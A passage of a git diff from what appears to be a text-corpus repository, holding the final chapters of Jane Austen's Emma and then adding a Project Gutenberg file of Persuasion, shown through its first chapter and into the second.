to-morrows, and the party from London +would be arriving. It was an alarming change; and Emma was thinking +of it one morning, as what must bring a great deal to agitate and +grieve her, when Mr. Knightley came in, and distressing thoughts +were put by. After the first chat of pleasure he was silent; +and then, in a graver tone, began with, + +"I have something to tell you, Emma; some news." + +"Good or bad?" said she, quickly, looking up in his face. + +"I do not know which it ought to be called." + +"Oh! good I am sure.--I see it in your countenance. You are trying +not to smile." + +"I am afraid," said he, composing his features, "I am very much afraid, +my dear Emma, that you will not smile when you hear it." + +"Indeed! but why so?--I can hardly imagine that any thing which +pleases or amuses you, should not please and amuse me too." + +"There is one subject," he replied, "I hope but one, on which +we do not think alike." He paused a moment, again smiling, +with his eyes fixed on her face. "Does nothing occur to you?-- +Do not you recollect?--Harriet Smith." + +Her cheeks flushed at the name, and she felt afraid of something, +though she knew not what. + +"Have you heard from her yourself this morning?" cried he. +"You have, I believe, and know the whole." + +"No, I have not; I know nothing; pray tell me." + +"You are prepared for the worst, I see--and very bad it is. +Harriet Smith marries Robert Martin." + +Emma gave a start, which did not seem like being prepared-- +and her eyes, in eager gaze, said, "No, this is impossible!" +but her lips were closed. + +"It is so, indeed," continued Mr. Knightley; "I have it from Robert +Martin himself. He left me not half an hour ago." + +She was still looking at him with the most speaking amazement. + +"You like it, my Emma, as little as I feared.--I wish our opinions were +the same. But in time they will. Time, you may be sure, will make +one or the other of us think differently; and, in the meanwhile, +we need not talk much on the subject." + +"You mistake me, you quite mistake me," she replied, exerting herself. +"It is not that such a circumstance would now make me unhappy, +but I cannot believe it. It seems an impossibility!--You cannot mean +to say, that Harriet Smith has accepted Robert Martin. You cannot +mean that he has even proposed to her again--yet. You only mean, +that he intends it." + +"I mean that he has done it," answered Mr. Knightley, with smiling +but determined decision, "and been accepted." + +"Good God!" she cried.--"Well!"--Then having recourse to her workbasket, +in excuse for leaning down her face, and concealing all the +exquisite feelings of delight and entertainment which she knew she +must be expressing, she added, "Well, now tell me every thing; +make this intelligible to me. How, where, when?--Let me know it all. +I never was more surprized--but it does not make me unhappy, +I assure you.--How--how has it been possible?" + +"It is a very simple story. He went to town on business three days ago, +and I got him to take charge of some papers which I was wanting +to send to John.--He delivered these papers to John, at his chambers, +and was asked by him to join their party the same evening to Astley's. +They were going to take the two eldest boys to Astley's. The party +was to be our brother and sister, Henry, John--and Miss Smith. +My friend Robert could not resist. They called for him in their way; +were all extremely amused; and my brother asked him to dine with +them the next day--which he did--and in the course of that visit +(as I understand) he found an opportunity of speaking to Harriet; +and certainly did not speak in vain.--She made him, by her acceptance, +as happy even as he is deserving. He came down by yesterday's coach, +and was with me this morning immediately after breakfast, to report +his proceedings, first on my affairs, and then on his own. +This is all that I can relate of the how, where, and when. +Your friend Harriet will make a much longer history when you see her.-- +She will give you all the minute particulars, which only woman's +language can make interesting.--In our communications we deal only +in the great.--However, I must say, that Robert Martin's heart seemed +for _him_, and to _me_, very overflowing; and that he did mention, +without its being much to the purpose, that on quitting their +box at Astley's, my brother took charge of Mrs. John Knightley +and little John, and he followed with Miss Smith and Henry; +and that at one time they were in such a crowd, as to make Miss Smith +rather uneasy." + +He stopped.--Emma dared not attempt any immediate reply. To speak, +she was sure would be to betray a most unreasonable degree +of happiness. She must wait a moment, or he would think her mad. +Her silence disturbed him; and after observing her a little while, +he added, + +"Emma, my love, you said that this circumstance would not now make +you unhappy; but I am afraid it gives you more pain than you expected. +His situation is an evil--but you must consider it as what satisfies +your friend; and I will answer for your thinking better and better +of him as you know him more. His good sense and good principles would +delight you.--As far as the man is concerned, you could not wish your +friend in better hands. His rank in society I would alter if I could, +which is saying a great deal I assure you, Emma.--You laugh at me +about William Larkins; but I could quite as ill spare Robert Martin." + +He wanted her to look up and smile; and having now brought herself +not to smile too broadly--she did--cheerfully answering, + +"You need not be at any pains to reconcile me to the match. I think +Harriet is doing extremely well. _Her_ connexions may be worse than _his_. +In respectability of character, there can be no doubt that they are. +I have been silent from surprize merely, excessive surprize. +You cannot imagine how suddenly it has come on me! how peculiarly +unprepared I was!--for I had reason to believe her very lately more +determined against him, much more, than she was before." + +"You ought to know your friend best," replied Mr. Knightley; +"but I should say she was a good-tempered, soft-hearted girl, +not likely to be very, very determined against any young man who told +her he loved her." + +Emma could not help laughing as she answered, "Upon my word, +I believe you know her quite as well as I do.--But, Mr. Knightley, +are you perfectly sure that she has absolutely and downright +_accepted_ him. I could suppose she might in time--but can she already?-- +Did not you misunderstand him?--You were both talking of other things; +of business, shows of cattle, or new drills--and might not you, +in the confusion of so many subjects, mistake him?--It was not +Harriet's hand that he was certain of--it was the dimensions of some +famous ox." + +The contrast between the countenance and air of Mr. Knightley and +Robert Martin was, at this moment, so strong to Emma's feelings, +and so strong was the recollection of all that had so recently +passed on Harriet's side, so fresh the sound of those words, +spoken with such emphasis, "No, I hope I know better than to think +of Robert Martin," that she was really expecting the intelligence +to prove, in some measure, premature. It could not be otherwise. + +"Do you dare say this?" cried Mr. Knightley. "Do you dare to suppose +me so great a blockhead, as not to know what a man is talking of?-- +What do you deserve?" + +"Oh! I always deserve the best treatment, because I never put +up with any other; and, therefore, you must give me a plain, +direct answer. Are you quite sure that you understand the terms +on which Mr. Martin and Harriet now are?" + +"I am quite sure," he replied, speaking very distinctly, "that he +told me she had accepted him; and that there was no obscurity, +nothing doubtful, in the words he used; and I think I can give you +a proof that it must be so. He asked my opinion as to what he +was now to do. He knew of no one but Mrs. Goddard to whom he +could apply for information of her relations or friends. Could I +mention any thing more fit to be done, than to go to Mrs. Goddard? +I assured him that I could not. Then, he said, he would endeavour +to see her in the course of this day." + +"I am perfectly satisfied," replied Emma, with the brightest smiles, +"and most sincerely wish them happy." + +"You are materially changed since we talked on this subject before." + +"I hope so--for at that time I was a fool." + +"And I am changed also; for I am now very willing to grant you all +Harriet's good qualities. I have taken some pains for your sake, +and for Robert Martin's sake, (whom I have always had reason to believe +as much in love with her as ever,) to get acquainted with her. +I have often talked to her a good deal. You must have seen that +I did. Sometimes, indeed, I have thought you were half suspecting me +of pleading poor Martin's cause, which was never the case; but, from all +my observations, I am convinced of her being an artless, amiable girl, +with very good notions, very seriously good principles, and placing +her happiness in the affections and utility of domestic life.-- +Much of this, I have no doubt, she may thank you for." + +"Me!" cried Emma, shaking her head.--"Ah! poor Harriet!" + +She checked herself, however, and submitted quietly to a little +more praise than she deserved. + +Their conversation was soon afterwards closed by the entrance of +her father. She was not sorry. She wanted to be alone. Her mind +was in a state of flutter and wonder, which made it impossible for her +to be collected. She was in dancing, singing, exclaiming spirits; +and till she had moved about, and talked to herself, and laughed +and reflected, she could be fit for nothing rational. + +Her father's business was to announce James's being gone out to put +the horses to, preparatory to their now daily drive to Randalls; +and she had, therefore, an immediate excuse for disappearing. + +The joy, the gratitude, the exquisite delight of her sensations +may be imagined. The sole grievance and alloy thus removed in the +prospect of Harriet's welfare, she was really in danger of becoming +too happy for security.--What had she to wish for? Nothing, but to +grow more worthy of him, whose intentions and judgment had been +ever so superior to her own. Nothing, but that the lessons +of her past folly might teach her humility and circumspection in future. + +Serious she was, very serious in her thankfulness, and in her resolutions; +and yet there was no preventing a laugh, sometimes in the very midst +of them. She must laugh at such a close! Such an end of the doleful +disappointment of five weeks back! Such a heart--such a Harriet! + +Now there would be pleasure in her returning--Every thing would +be a pleasure. It would be a great pleasure to know Robert Martin. + +High in the rank of her most serious and heartfelt felicities, +was the reflection that all necessity of concealment from +Mr. Knightley would soon be over. The disguise, equivocation, +mystery, so hateful to her to practise, might soon be over. +She could now look forward to giving him that full and perfect +confidence which her disposition was most ready to welcome as a duty. + +In the gayest and happiest spirits she set forward with her father; +not always listening, but always agreeing to what he said; +and, whether in speech or silence, conniving at the comfortable +persuasion of his being obliged to go to Randalls every day, +or poor Mrs. Weston would be disappointed. + +They arrived.--Mrs. Weston was alone in the drawing-room:-- +but hardly had they been told of the baby, and Mr. Woodhouse +received the thanks for coming, which he asked for, when a glimpse +was caught through the blind, of two figures passing near the window. + +"It is Frank and Miss Fairfax," said Mrs. Weston. "I was just +going to tell you of our agreeable surprize in seeing him arrive +this morning. He stays till to-morrow, and Miss Fairfax has been +persuaded to spend the day with us.--They are coming in, I hope." + +In half a minute they were in the room. Emma was extremely glad +to see him--but there was a degree of confusion--a number of +embarrassing recollections on each side. They met readily and smiling, +but with a consciousness which at first allowed little to be said; +and having all sat down again, there was for some time such a blank +in the circle, that Emma began to doubt whether the wish now indulged, +which she had long felt, of seeing Frank Churchill once more, +and of seeing him with Jane, would yield its proportion of pleasure. +When Mr. Weston joined the party, however, and when the baby +was fetched, there was no longer a want of subject or animation-- +or of courage and opportunity for Frank Churchill to draw near her +and say, + +"I have to thank you, Miss Woodhouse, for a very kind forgiving +message in one of Mrs. Weston's letters. I hope time has not made +you less willing to pardon. I hope you do not retract what you +then said." + +"No, indeed," cried Emma, most happy to begin, "not in the least. +I am particularly glad to see and shake hands with you--and to give +you joy in person." + +He thanked her with all his heart, and continued some time to speak +with serious feeling of his gratitude and happiness. + +"Is not she looking well?" said he, turning his eyes towards Jane. +"Better than she ever used to do?--You see how my father and +Mrs. Weston doat upon her." + +But his spirits were soon rising again, and with laughing eyes, +after mentioning the expected return of the Campbells, he named +the name of Dixon.--Emma blushed, and forbade its being pronounced +in her hearing. + +"I can never think of it," she cried, "without extreme shame." + +"The shame," he answered, "is all mine, or ought to be. But is it +possible that you had no suspicion?--I mean of late. Early, I know, +you had none." + +"I never had the smallest, I assure you." + +"That appears quite wonderful. I was once very near--and I wish I had-- +it would have been better. But though I was always doing wrong things, +they were very bad wrong things, and such as did me no service.-- +It would have been a much better transgression had I broken the bond +of secrecy and told you every thing." + +"It is not now worth a regret," said Emma. + +"I have some hope," resumed he, "of my uncle's being persuaded +to pay a visit at Randalls; he wants to be introduced to her. +When the Campbells are returned, we shall meet them in London, +and continue there, I trust, till we may carry her northward.--But now, +I am at such a distance from her--is not it hard, Miss Woodhouse?-- +Till this morning, we have not once met since the day of reconciliation. +Do not you pity me?" + +Emma spoke her pity so very kindly, that with a sudden accession +of gay thought, he cried, + +"Ah! by the bye," then sinking his voice, and looking demure for +the moment--"I hope Mr. Knightley is well?" He paused.--She coloured +and laughed.--"I know you saw my letter, and think you may remember +my wish in your favour. Let me return your congratulations.-- +I assure you that I have heard the news with the warmest interest +and satisfaction.--He is a man whom I cannot presume to praise." + +Emma was delighted, and only wanted him to go on in the same style; +but his mind was the next moment in his own concerns and with his +own Jane, and his next words were, + +"Did you ever see such a skin?--such smoothness! such delicacy!-- +and yet without being actually fair.--One cannot call her fair. +It is a most uncommon complexion, with her dark eye-lashes and hair-- +a most distinguishing complexion! So peculiarly the lady in it.-- +Just colour enough for beauty." + +"I have always admired her complexion," replied Emma, archly; "but do not +I remember the time when you found fault with her for being so pale?-- +When we first began to talk of her.--Have you quite forgotten?" + +"Oh! no--what an impudent dog I was!--How could I dare--" + +But he laughed so heartily at the recollection, that Emma could +not help saying, + +"I do suspect that in the midst of your perplexities at that time, +you had very great amusement in tricking us all.--I am sure you had.-- +I am sure it was a consolation to you." + +"Oh! no, no, no--how can you suspect me of such a thing? +I was the most miserable wretch!" + +"Not quite so miserable as to be insensible to mirth. I am sure it +was a source of high entertainment to you, to feel that you were taking +us all in.--Perhaps I am the readier to suspect, because, to tell +you the truth, I think it might have been some amusement to myself +in the same situation. I think there is a little likeness between us." + +He bowed. + +"If not in our dispositions," she presently added, with a look of +true sensibility, "there is a likeness in our destiny; the destiny +which bids fair to connect us with two characters so much superior +to our own." + +"True, true," he answered, warmly. "No, not true on your side. You can +have no superior, but most true on mine.--She is a complete angel. +Look at her. Is not she an angel in every gesture? Observe the turn +of her throat. Observe her eyes, as she is looking up at my father.-- +You will be glad to hear (inclining his head, and whispering seriously) +that my uncle means to give her all my aunt's jewels. They are to be +new set. I am resolved to have some in an ornament for the head. +Will not it be beautiful in her dark hair?" + +"Very beautiful, indeed," replied Emma; and she spoke so kindly, +that he gratefully burst out, + +"How delighted I am to see you again! and to see you in such +excellent looks!--I would not have missed this meeting for the world. +I should certainly have called at Hartfield, had you failed to come." + +The others had been talking of the child, Mrs. Weston giving an +account of a little alarm she had been under, the evening before, +from the infant's appearing not quite well. She believed she had +been foolish, but it had alarmed her, and she had been within half +a minute of sending for Mr. Perry. Perhaps she ought to be ashamed, +but Mr. Weston had been almost as uneasy as herself.--In ten minutes, +however, the child had been perfectly well again. This was +her history; and particularly interesting it was to Mr. Woodhouse, +who commended her very much for thinking of sending for Perry, +and only regretted that she had not done it. "She should always send +for Perry, if the child appeared in the slightest degree disordered, +were it only for a moment. She could not be too soon alarmed, +nor send for Perry too often. It was a pity, perhaps, that he +had not come last night; for, though the child seemed well now, +very well considering, it would probably have been better if Perry +had seen it." + +Frank Churchill caught the name. + +"Perry!" said he to Emma, and trying, as he spoke, to catch Miss +Fairfax's eye. "My friend Mr. Perry! What are they saying +about Mr. Perry?--Has he been here this morning?--And how does +he travel now?--Has he set up his carriage?" + +Emma soon recollected, and understood him; and while she joined +in the laugh, it was evident from Jane's countenance that she +too was really hearing him, though trying to seem deaf. + +"Such an extraordinary dream of mine!" he cried. "I can never think +of it without laughing.--She hears us, she hears us, Miss Woodhouse. +I see it in her cheek, her smile, her vain attempt to frown. +Look at her. Do not you see that, at this instant, the very passage +of her own letter, which sent me the report, is passing under her eye-- +that the whole blunder is spread before her--that she can attend to +nothing else, though pretending to listen to the others?" + +Jane was forced to smile completely, for a moment; and the smile +partly remained as she turned towards him, and said in a conscious, +low, yet steady voice, + +"How you can bear such recollections, is astonishing to me!-- +They _will_ sometimes obtrude--but how you can court them!" + +He had a great deal to say in return, and very entertainingly; +but Emma's feelings were chiefly with Jane, in the argument; and on +leaving Randalls, and falling naturally into a comparison of the two men, +she felt, that pleased as she had been to see Frank Churchill, +and really regarding him as she did with friendship, she had never +been more sensible of Mr. Knightley's high superiority of character. +The happiness of this most happy day, received its completion, in the +animated contemplation of his worth which this comparison produced. + + + +CHAPTER XIX + + +If Emma had still, at intervals, an anxious feeling for Harriet, +a momentary doubt of its being possible for her to be really cured +of her attachment to Mr. Knightley, and really able to accept +another man from unbiased inclination, it was not long that she +had to suffer from the recurrence of any such uncertainty. +A very few days brought the party from London, and she had no +sooner an opportunity of being one hour alone with Harriet, +than she became perfectly satisfied--unaccountable as it was!-- +that Robert Martin had thoroughly supplanted Mr. Knightley, +and was now forming all her views of happiness. + +Harriet was a little distressed--did look a little foolish at first: +but having once owned that she had been presumptuous and silly, +and self-deceived, before, her pain and confusion seemed to die +away with the words, and leave her without a care for the past, +and with the fullest exultation in the present and future; for, as to +her friend's approbation, Emma had instantly removed every fear of +that nature, by meeting her with the most unqualified congratulations.-- +Harriet was most happy to give every particular of the evening at +Astley's, and the dinner the next day; she could dwell on it all +with the utmost delight. But what did such particulars explain?-- +The fact was, as Emma could now acknowledge, that Harriet had +always liked Robert Martin; and that his continuing to love her had +been irresistible.--Beyond this, it must ever be unintelligible +to Emma. + +The event, however, was most joyful; and every day was giving her +fresh reason for thinking so.--Harriet's parentage became known. +She proved to be the daughter of a tradesman, rich enough to afford +her the comfortable maintenance which had ever been hers, and decent +enough to have always wished for concealment.--Such was the blood +of gentility which Emma had formerly been so ready to vouch for!-- +It was likely to be as untainted, perhaps, as the blood of many +a gentleman: but what a connexion had she been preparing for +Mr. Knightley--or for the Churchills--or even for Mr. Elton!-- +The stain of illegitimacy, unbleached by nobility or wealth, +would have been a stain indeed. + +No objection was raised on the father's side; the young man was +treated liberally; it was all as it should be: and as Emma became +acquainted with Robert Martin, who was now introduced at Hartfield, +she fully acknowledged in him all the appearance of sense and worth +which could bid fairest for her little friend. She had no doubt +of Harriet's happiness with any good-tempered man; but with him, +and in the home he offered, there would be the hope of more, +of security, stability, and improvement. She would be placed in the +midst of those who loved her, and who had better sense than herself; +retired enough for safety, and occupied enough for cheerfulness. +She would be never led into temptation, nor left for it to find her out. +She would be respectable and happy; and Emma admitted her to be +the luckiest creature in the world, to have created so steady and +persevering an affection in such a man;--or, if not quite the luckiest, +to yield only to herself. + +Harriet, necessarily drawn away by her engagements with the Martins, +was less and less at Hartfield; which was not to be regretted.-- +The intimacy between her and Emma must sink; their friendship must +change into a calmer sort of goodwill; and, fortunately, what ought +to be, and must be, seemed already beginning, and in the most gradual, +natural manner. + +Before the end of September, Emma attended Harriet to church, and saw +her hand bestowed on Robert Martin with so complete a satisfaction, +as no remembrances, even connected with Mr. Elton as he stood +before them, could impair.--Perhaps, indeed, at that time she +scarcely saw Mr. Elton, but as the clergyman whose blessing at the +altar might next fall on herself.--Robert Martin and Harriet Smith, +the latest couple engaged of the three, were the first to be married. + +Jane Fairfax had already quitted Highbury, and was restored to the +comforts of her beloved home with the Campbells.--The Mr. Churchills +were also in town; and they were only waiting for November. + +The intermediate month was the one fixed on, as far as they dared, +by Emma and Mr. Knightley.--They had determined that their marriage +ought to be concluded while John and Isabella were still at Hartfield, +to allow them the fortnight's absence in a tour to the seaside, +which was the plan.--John and Isabella, and every other friend, +were agreed in approving it. But Mr. Woodhouse--how was Mr. Woodhouse +to be induced to consent?--he, who had never yet alluded to their +marriage but as a distant event. + +When first sounded on the subject, he was so miserable, that they +were almost hopeless.--A second allusion, indeed, gave less pain.-- +He began to think it was to be, and that he could not prevent it-- +a very promising step of the mind on its way to resignation. +Still, however, he was not happy. Nay, he appeared so much otherwise, +that his daughter's courage failed. She could not bear to see +him suffering, to know him fancying himself neglected; and though +her understanding almost acquiesced in the assurance of both the +Mr. Knightleys, that when once the event were over, his distress +would be soon over too, she hesitated--she could not proceed. + +In this state of suspense they were befriended, not by any sudden +illumination of Mr. Woodhouse's mind, or any wonderful change of his +nervous system, but by the operation of the same system in another way.-- +Mrs. Weston's poultry-house was robbed one night of all her turkeys-- +evidently by the ingenuity of man. Other poultry-yards in the +neighbourhood also suffered.--Pilfering was _housebreaking_ to +Mr. Woodhouse's fears.--He was very uneasy; and but for the sense +of his son-in-law's protection, would have been under wretched alarm +every night of his life. The strength, resolution, and presence +of mind of the Mr. Knightleys, commanded his fullest dependence. +While either of them protected him and his, Hartfield was safe.-- +But Mr. John Knightley must be in London again by the end of the +first week in November. + +The result of this distress was, that, with a much more voluntary, +cheerful consent than his daughter had ever presumed to hope for at +the moment, she was able to fix her wedding-day--and Mr. Elton was +called on, within a month from the marriage of Mr. and Mrs. Robert +Martin, to join the hands of Mr. Knightley and Miss Woodhouse. + +The wedding was very much like other weddings, where the parties +have no taste for finery or parade; and Mrs. Elton, from the +particulars detailed by her husband, thought it all extremely shabby, +and very inferior to her own.--"Very little white satin, very few +lace veils; a most pitiful business!--Selina would stare when she +heard of it."--But, in spite of these deficiencies, the wishes, +the hopes, the confidence, the predictions of the small band +of true friends who witnessed the ceremony, were fully answered +in the perfect happiness of the union. + + +FINIS + + +End of The Project Gutenberg Etext of Emma, by Jane Austen + + + diff --git a/mccalum/austen-persuasion.txt b/mccalum/austen-persuasion.txt new file mode 100644 index 0000000..ba9711c --- /dev/null +++ b/mccalum/austen-persuasion.txt @@ -0,0 +1,8741 @@ +The Project Gutenberg Etext of Persuasion by Jane Austin + +Please take a look at the important information in this header. +We encourage you to keep this file on your own disk, keeping an +electronic path open for the next readers. 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FOR PUBLIC DOMAIN ETEXTS*Ver.04.29.93*END* + + + + + +The Project Gutenberg Etext of Persuasion by Jane Austen + + + + + + +Persuasion by Jane Austen (1818) + + + + +Chapter 1 + + +Sir Walter Elliot, of Kellynch Hall, in Somersetshire, was a man who, +for his own amusement, never took up any book but the Baronetage; +there he found occupation for an idle hour, and consolation in a +distressed one; there his faculties were roused into admiration and +respect, by contemplating the limited remnant of the earliest patents; +there any unwelcome sensations, arising from domestic affairs +changed naturally into pity and contempt as he turned over +the almost endless creations of the last century; and there, +if every other leaf were powerless, he could read his own history +with an interest which never failed. This was the page at which +the favourite volume always opened: + + "ELLIOT OF KELLYNCH HALL. + +"Walter Elliot, born March 1, 1760, married, July 15, 1784, Elizabeth, +daughter of James Stevenson, Esq. of South Park, in the county of +Gloucester, by which lady (who died 1800) he has issue Elizabeth, +born June 1, 1785; Anne, born August 9, 1787; a still-born son, +November 5, 1789; Mary, born November 20, 1791." + +Precisely such had the paragraph originally stood from the printer's hands; +but Sir Walter had improved it by adding, for the information of +himself and his family, these words, after the date of Mary's birth-- +"Married, December 16, 1810, Charles, son and heir of Charles +Musgrove, Esq. of Uppercross, in the county of Somerset," +and by inserting most accurately the day of the month on which +he had lost his wife. + +Then followed the history and rise of the ancient and respectable family, +in the usual terms; how it had been first settled in Cheshire; +how mentioned in Dugdale, serving the office of high sheriff, +representing a borough in three successive parliaments, +exertions of loyalty, and dignity of baronet, in the first year +of Charles II, with all the Marys and Elizabeths they had married; +forming altogether two handsome duodecimo pages, and concluding with +the arms and motto:--"Principal seat, Kellynch Hall, in the county +of Somerset," and Sir Walter's handwriting again in this finale:-- + +"Heir presumptive, William Walter Elliot, Esq., great grandson of +the second Sir Walter." + +Vanity was the beginning and the end of Sir Walter Elliot's character; +vanity of person and of situation. He had been remarkably handsome +in his youth; and, at fifty-four, was still a very fine man. +Few women could think more of their personal appearance than he did, +nor could the valet of any new made lord be more delighted with +the place he held in society. He considered the blessing of beauty +as inferior only to the blessing of a baronetcy; and the Sir Walter Elliot, +who united these gifts, was the constant object of his warmest respect +and devotion. + +His good looks and his rank had one fair claim on his attachment; +since to them he must have owed a wife of very superior character +to any thing deserved by his own. Lady Elliot had been an excellent woman, +sensible and amiable; whose judgement and conduct, if they might be +pardoned the youthful infatuation which made her Lady Elliot, +had never required indulgence afterwards.--She had humoured, +or softened, or concealed his failings, and promoted his real +respectability for seventeen years; and though not the very happiest +being in the world herself, had found enough in her duties, her friends, +and her children, to attach her to life, and make it no matter of +indifference to her when she was called on to quit them. +--Three girls, the two eldest sixteen and fourteen, was an awful legacy +for a mother to bequeath, an awful charge rather, to confide to +the authority and guidance of a conceited, silly father. +She had, however, one very intimate friend, a sensible, deserving woman, +who had been brought, by strong attachment to herself, to settle +close by her, in the village of Kellynch; and on her kindness and advice, +Lady Elliot mainly relied for the best help and maintenance of +the good principles and instruction which she had been anxiously +giving her daughters. + +This friend, and Sir Walter, did not marry, whatever might have been +anticipated on that head by their acquaintance. Thirteen years +had passed away since Lady Elliot's death, and they were still +near neighbours and intimate friends, and one remained a widower, +the other a widow. + +That Lady Russell, of steady age and character, and extremely +well provided for, should have no thought of a second marriage, +needs no apology to the public, which is rather apt to be unreasonably +discontented when a woman does marry again, than when she does not; +but Sir Walter's continuing in singleness requires explanation. +Be it known then, that Sir Walter, like a good father, (having met with +one or two private disappointments in very unreasonable applications), +prided himself on remaining single for his dear daughters' sake. +For one daughter, his eldest, he would really have given up any thing, +which he had not been very much tempted to do. Elizabeth had succeeded, +at sixteen, to all that was possible, of her mother's rights +and consequence; and being very handsome, and very like himself, +her influence had always been great, and they had gone on together +most happily. His two other children were of very inferior value. +Mary had acquired a little artificial importance, by becoming +Mrs Charles Musgrove; but Anne, with an elegance of mind and sweetness +of character, which must have placed her high with any people +of real understanding, was nobody with either father or sister; +her word had no weight, her convenience was always to give way-- +she was only Anne. + +To Lady Russell, indeed, she was a most dear and highly valued +god-daughter, favourite, and friend. Lady Russell loved them all; +but it was only in Anne that she could fancy the mother to revive again. + +A few years before, Anne Elliot had been a very pretty girl, +but her bloom had vanished early; and as even in its height, +her father had found little to admire in her, (so totally different +were her delicate features and mild dark eyes from his own), +there could be nothing in them, now that she was faded and thin, +to excite his esteem. He had never indulged much hope, he had now none, +of ever reading her name in any other page of his favourite work. +All equality of alliance must rest with Elizabeth, for Mary had merely +connected herself with an old country family of respectability and +large fortune, and had therefore given all the honour and received none: +Elizabeth would, one day or other, marry suitably. + +It sometimes happens that a woman is handsomer at twenty-nine than +she was ten years before; and, generally speaking, if there has been +neither ill health nor anxiety, it is a time of life at which scarcely any +charm is lost. It was so with Elizabeth, still the same handsome +Miss Elliot that she had begun to be thirteen years ago, and Sir Walter +might be excused, therefore, in forgetting her age, or, at least, +be deemed only half a fool, for thinking himself and Elizabeth +as blooming as ever, amidst the wreck of the good looks of everybody else; +for he could plainly see how old all the rest of his family and +acquaintance were growing. Anne haggard, Mary coarse, every face +in the neighbourhood worsting, and the rapid increase of the crow's foot +about Lady Russell's temples had long been a distress to him. + +Elizabeth did not quite equal her father in personal contentment. +Thirteen years had seen her mistress of Kellynch Hall, presiding and +directing with a self-possession and decision which could never have given +the idea of her being younger than she was. For thirteen years had +she been doing the honours, and laying down the domestic law at home, +and leading the way to the chaise and four, and walking immediately after +Lady Russell out of all the drawing-rooms and dining-rooms in the country. +Thirteen winters' revolving frosts had seen her opening every ball +of credit which a scanty neighbourhood afforded, and thirteen springs +shewn their blossoms, as she travelled up to London with her father, +for a few weeks' annual enjoyment of the great world. She had +the remembrance of all this, she had the consciousness of being +nine-and-twenty to give her some regrets and some apprehensions; +she was fully satisfied of being still quite as handsome as ever, +but she felt her approach to the years of danger, and would have rejoiced +to be certain of being properly solicited by baronet-blood within +the next twelvemonth or two. Then might she again take up +the book of books with as much enjoyment as in her early youth, +but now she liked it not. Always to be presented with the date of +her own birth and see no marriage follow but that of a youngest sister, +made the book an evil; and more than once, when her father had left it +open on the table near her, had she closed it, with averted eyes, +and pushed it away. + +She had had a disappointment, moreover, which that book, +and especially the history of her own family, must ever present +the remembrance of. The heir presumptive, the very William Walter +Elliot, Esq., whose rights had been so generously supported +by her father, had disappointed her. + +She had, while a very young girl, as soon as she had known him to be, +in the event of her having no brother, the future baronet, +meant to marry him, and her father had always meant that she should. +He had not been known to them as a boy; but soon after Lady Elliot's death, +Sir Walter had sought the acquaintance, and though his overtures +had not been met with any warmth, he had persevered in seeking it, +making allowance for the modest drawing-back of youth; and, in one of +their spring excursions to London, when Elizabeth was in her first bloom, +Mr Elliot had been forced into the introduction. + +He was at that time a very young man, just engaged in the study of the law; +and Elizabeth found him extremely agreeable, and every plan in his favour +was confirmed. He was invited to Kellynch Hall; he was talked of +and expected all the rest of the year; but he never came. +The following spring he was seen again in town, found equally agreeable, +again encouraged, invited, and expected, and again he did not come; +and the next tidings were that he was married. Instead of pushing +his fortune in the line marked out for the heir of the house of Elliot, +he had purchased independence by uniting himself to a rich woman +of inferior birth. + +Sir Walter has resented it. As the head of the house, he felt that +he ought to have been consulted, especially after taking the young man +so publicly by the hand; "For they must have been seen together," +he observed, "once at Tattersall's, and twice in the lobby of +the House of Commons." His disapprobation was expressed, +but apparently very little regarded. Mr Elliot had attempted no apology, +and shewn himself as unsolicitous of being longer noticed by the family, +as Sir Walter considered him unworthy of it: all acquaintance between +them had ceased. + +This very awkward history of Mr Elliot was still, after an interval +of several years, felt with anger by Elizabeth, who had liked the man +for himself, and still more for being her father's heir, and whose +strong family pride could see only in him a proper match for Sir Walter +Elliot's eldest daughter. There was not a baronet from A to Z whom +her feelings could have so willingly acknowledged as an equal. +Yet so miserably had he conducted himself, that though she was +at this present time (the summer of 1814) wearing black ribbons +for his wife, she could not admit him to be worth thinking of again. +The disgrace of his first marriage might, perhaps, as there was +no reason to suppose it perpetuated by offspring, have been got over, +had he not done worse; but he had, as by the accustomary intervention +of kind friends, they had been informed, spoken most disrespectfully +of them all, most slightingly and contemptuously of the very blood +he belonged to, and the honours which were hereafter to be his own. +This could not be pardoned. + +Such were Elizabeth Elliot's sentiments and sensations; such the cares +to alloy, the agitations to vary, the sameness and the elegance, +the prosperity and the nothingness of her scene of life; +such the feelings to give interest to a long, uneventful residence +in one country circle, to fill the vacancies which there were no habits +of utility abroad, no talents or accomplishments for home, to occupy. + +But now, another occupation and solicitude of mind was beginning to be +added to these. Her father was growing distressed for money. +She knew, that when he now took up the Baronetage, it was to drive +the heavy bills of his tradespeople, and the unwelcome hints of +Mr Shepherd, his agent, from his thoughts. The Kellynch property was good, +but not equal to Sir Walter's apprehension of the state required +in its possessor. While Lady Elliot lived, there had been method, +moderation, and economy, which had just kept him within his income; +but with her had died all such right-mindedness, and from that period +he had been constantly exceeding it. It had not been possible +for him to spend less; he had done nothing but what Sir Walter Elliot +was imperiously called on to do; but blameless as he was, he was +not only growing dreadfully in debt, but was hearing of it so often, +that it became vain to attempt concealing it longer, even partially, +from his daughter. He had given her some hints of it the last spring +in town; he had gone so far even as to say, "Can we retrench? +Does it occur to you that there is any one article in which +we can retrench?" and Elizabeth, to do her justice, had, in the first +ardour of female alarm, set seriously to think what could be done, +and had finally proposed these two branches of economy, to cut off +some unnecessary charities, and to refrain from new furnishing +the drawing-room; to which expedients she afterwards added +the happy thought of their taking no present down to Anne, +as had been the usual yearly custom. But these measures, +however good in themselves, were insufficient for the real extent +of the evil, the whole of which Sir Walter found himself obliged +to confess to her soon afterwards. Elizabeth had nothing to propose +of deeper efficacy. She felt herself ill-used and unfortunate, +as did her father; and they were neither of them able to devise +any means of lessening their expenses without compromising their dignity, +or relinquishing their comforts in a way not to be borne. + +There was only a small part of his estate that Sir Walter could dispose of; +but had every acre been alienable, it would have made no difference. +He had condescended to mortgage as far as he had the power, +but he would never condescend to sell. No; he would never disgrace +his name so far. The Kellynch estate should be transmitted whole +and entire, as he had received it. + +Their two confidential friends, Mr Shepherd, who lived in +the neighbouring market town, and Lady Russell, were called to advise them; +and both father and daughter seemed to expect that something should be +struck out by one or the other to remove their embarrassments +and reduce their expenditure, without involving the loss of +any indulgence of taste or pride. + + + +Chapter 2 + + +Mr Shepherd, a civil, cautious lawyer, who, whatever might be his hold +or his views on Sir Walter, would rather have the disagreeable +prompted by anybody else, excused himself from offering the slightest hint, +and only begged leave to recommend an implicit reference to +the excellent judgement of Lady Russell, from whose known good sense +he fully expected to have just such resolute measures advised as +he meant to see finally adopted. + +Lady Russell was most anxiously zealous on the subject, and gave it +much serious consideration. She was a woman rather of sound than of +quick 